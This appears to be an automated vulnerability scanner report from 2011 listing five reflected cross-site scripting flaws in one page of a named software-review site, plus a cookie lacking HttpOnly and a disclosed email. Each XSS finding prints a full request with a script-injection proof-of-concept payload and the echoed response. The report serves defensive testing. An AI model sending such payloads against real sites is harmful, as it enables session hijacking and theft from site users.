business-software.com, XSS, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by CloudScan Vulnerability Crawler at Mon Feb 28 05:49:01 CST 2011.


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1. Cross-site scripting (reflected)

1.1. http://www.business-software.com/top-10-web-content-management-vendors.php [gclid parameter]

1.2. http://www.business-software.com/top-10-web-content-management-vendors.php [keyword parameter]

1.3. http://www.business-software.com/top-10-web-content-management-vendors.php [name of an arbitrarily supplied request parameter]

1.4. http://www.business-software.com/top-10-web-content-management-vendors.php [track parameter]

1.5. http://www.business-software.com/top-10-web-content-management-vendors.php [traffic parameter]

2. Cookie without HttpOnly flag set

3. Email addresses disclosed



1. Cross-site scripting (reflected)  next
There are 5 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.business-software.com/top-10-web-content-management-vendors.php [gclid parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.business-software.com
Path:   /top-10-web-content-management-vendors.php

Issue detail

The value of the gclid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 887e2"><script>alert(1)</script>3846485b49a was submitted in the gclid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /top-10-web-content-management-vendors.php?track=1215&traffic=GoogleSearch&keyword=content%20management%20system&gclid=CNHU87X6pqcCFVln5QodaVjCBw887e2"><script>alert(1)</script>3846485b49a HTTP/1.1
Host: www.business-software.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 23:20:22 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.9; Qcodo/0.3.24 (Qcodo Beta 3)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Cache-Control: private
Set-Cookie: PHPSESSID=tn6mr2tkpge0hm9j073mo3abd6; path=/
Vary: User-Agent,Accept-Encoding
Content-Type: text/html
Content-Length: 32741

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<html>
<head>
   <meta http-equiv="C
...[SNIP]...
<form method="post" id="RegistrationQForm" action="/top-10-web-content-management-vendors.php?track=1215&traffic=GoogleSearch&keyword=content%20management%20system&gclid=CNHU87X6pqcCFVln5QodaVjCBw887e2"><script>alert(1)</script>3846485b49a">
...[SNIP]...

1.2. http://www.business-software.com/top-10-web-content-management-vendors.php [keyword parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.business-software.com
Path:   /top-10-web-content-management-vendors.php

Issue detail

The value of the keyword request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31949"><script>alert(1)</script>6472702855d was submitted in the keyword parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /top-10-web-content-management-vendors.php?track=1215&traffic=GoogleSearch&keyword=content%20management%20system31949"><script>alert(1)</script>6472702855d&gclid=CNHU87X6pqcCFVln5QodaVjCBw HTTP/1.1
Host: www.business-software.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 23:20:14 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.9; Qcodo/0.3.24 (Qcodo Beta 3)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Cache-Control: private
Set-Cookie: PHPSESSID=tf092k3rbif117di4fkh2tgt53; path=/
Vary: User-Agent,Accept-Encoding
Content-Type: text/html
Content-Length: 32741

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<html>
<head>
   <meta http-equiv="C
...[SNIP]...
<form method="post" id="RegistrationQForm" action="/top-10-web-content-management-vendors.php?track=1215&traffic=GoogleSearch&keyword=content%20management%20system31949"><script>alert(1)</script>6472702855d&gclid=CNHU87X6pqcCFVln5QodaVjCBw">
...[SNIP]...

1.3. http://www.business-software.com/top-10-web-content-management-vendors.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.business-software.com
Path:   /top-10-web-content-management-vendors.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4664"><script>alert(1)</script>215d5cf1a41 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /top-10-web-content-management-vendors.php?track=1215&traffic=GoogleSearch&keyword=content%20management%20system&gclid=CNHU87X6pqcCFVln5QodaVjCBw&e4664"><script>alert(1)</script>215d5cf1a41=1 HTTP/1.1
Host: www.business-software.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 23:20:29 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.9; Qcodo/0.3.24 (Qcodo Beta 3)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Cache-Control: private
Set-Cookie: PHPSESSID=56tm98dg8f04is4dfv793tcde1; path=/
Vary: User-Agent,Accept-Encoding
Content-Type: text/html
Content-Length: 32744

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<html>
<head>
   <meta http-equiv="C
...[SNIP]...
<form method="post" id="RegistrationQForm" action="/top-10-web-content-management-vendors.php?track=1215&traffic=GoogleSearch&keyword=content%20management%20system&gclid=CNHU87X6pqcCFVln5QodaVjCBw&e4664"><script>alert(1)</script>215d5cf1a41=1">
...[SNIP]...

1.4. http://www.business-software.com/top-10-web-content-management-vendors.php [track parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.business-software.com
Path:   /top-10-web-content-management-vendors.php

Issue detail

The value of the track request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8831c"><script>alert(1)</script>0aa3cd70274 was submitted in the track parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /top-10-web-content-management-vendors.php?track=12158831c"><script>alert(1)</script>0aa3cd70274&traffic=GoogleSearch&keyword=content%20management%20system&gclid=CNHU87X6pqcCFVln5QodaVjCBw HTTP/1.1
Host: www.business-software.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 23:19:58 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.9; Qcodo/0.3.24 (Qcodo Beta 3)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Cache-Control: private
Set-Cookie: PHPSESSID=cbc0c1flt61g7ei5pts0ddp3v3; path=/
Vary: User-Agent,Accept-Encoding
Content-Type: text/html
Content-Length: 32741

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<html>
<head>
   <meta http-equiv="C
...[SNIP]...
<form method="post" id="RegistrationQForm" action="/top-10-web-content-management-vendors.php?track=12158831c"><script>alert(1)</script>0aa3cd70274&traffic=GoogleSearch&keyword=content%20management%20system&gclid=CNHU87X6pqcCFVln5QodaVjCBw">
...[SNIP]...

1.5. http://www.business-software.com/top-10-web-content-management-vendors.php [traffic parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.business-software.com
Path:   /top-10-web-content-management-vendors.php

Issue detail

The value of the traffic request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c411b"><script>alert(1)</script>5975ff9a4a8 was submitted in the traffic parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /top-10-web-content-management-vendors.php?track=1215&traffic=GoogleSearchc411b"><script>alert(1)</script>5975ff9a4a8&keyword=content%20management%20system&gclid=CNHU87X6pqcCFVln5QodaVjCBw HTTP/1.1
Host: www.business-software.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 23:20:06 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.9; Qcodo/0.3.24 (Qcodo Beta 3)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Cache-Control: private
Set-Cookie: PHPSESSID=3csq33e05pn8tl46hm7ti7hj44; path=/
Vary: User-Agent,Accept-Encoding
Content-Type: text/html
Content-Length: 32741

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<html>
<head>
   <meta http-equiv="C
...[SNIP]...
<form method="post" id="RegistrationQForm" action="/top-10-web-content-management-vendors.php?track=1215&traffic=GoogleSearchc411b"><script>alert(1)</script>5975ff9a4a8&keyword=content%20management%20system&gclid=CNHU87X6pqcCFVln5QodaVjCBw">
...[SNIP]...

2. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.business-software.com
Path:   /top-10-web-content-management-vendors.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /top-10-web-content-management-vendors.php?track=1215&traffic=GoogleSearch&keyword=content%20management%20system&gclid=CNHU87X6pqcCFVln5QodaVjCBw HTTP/1.1
Host: www.business-software.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 23:19:32 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.9; Qcodo/0.3.24 (Qcodo Beta 3)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Cache-Control: private
Set-Cookie: PHPSESSID=hnk230ueo4o41ir0daauv6l6d6; path=/
Vary: User-Agent,Accept-Encoding
Content-Type: text/html
Content-Length: 32698

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<html>
<head>
   <meta http-equiv="C
...[SNIP]...

3. Email addresses disclosed  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.business-software.com
Path:   /top-10-web-content-management-vendors.php

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /top-10-web-content-management-vendors.php?track=1215&traffic=GoogleSearch&keyword=content%20management%20system&gclid=CNHU87X6pqcCFVln5QodaVjCBw HTTP/1.1
Host: www.business-software.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 23:19:32 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.9; Qcodo/0.3.24 (Qcodo Beta 3)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Cache-Control: private
Set-Cookie: PHPSESSID=hnk230ueo4o41ir0daauv6l6d6; path=/
Vary: User-Agent,Accept-Encoding
Content-Type: text/html
Content-Length: 32698

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<html>
<head>
   <meta http-equiv="C
...[SNIP]...
<a href="mailto:info@business-software.com">
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Mon Feb 28 05:49:01 CST 2011.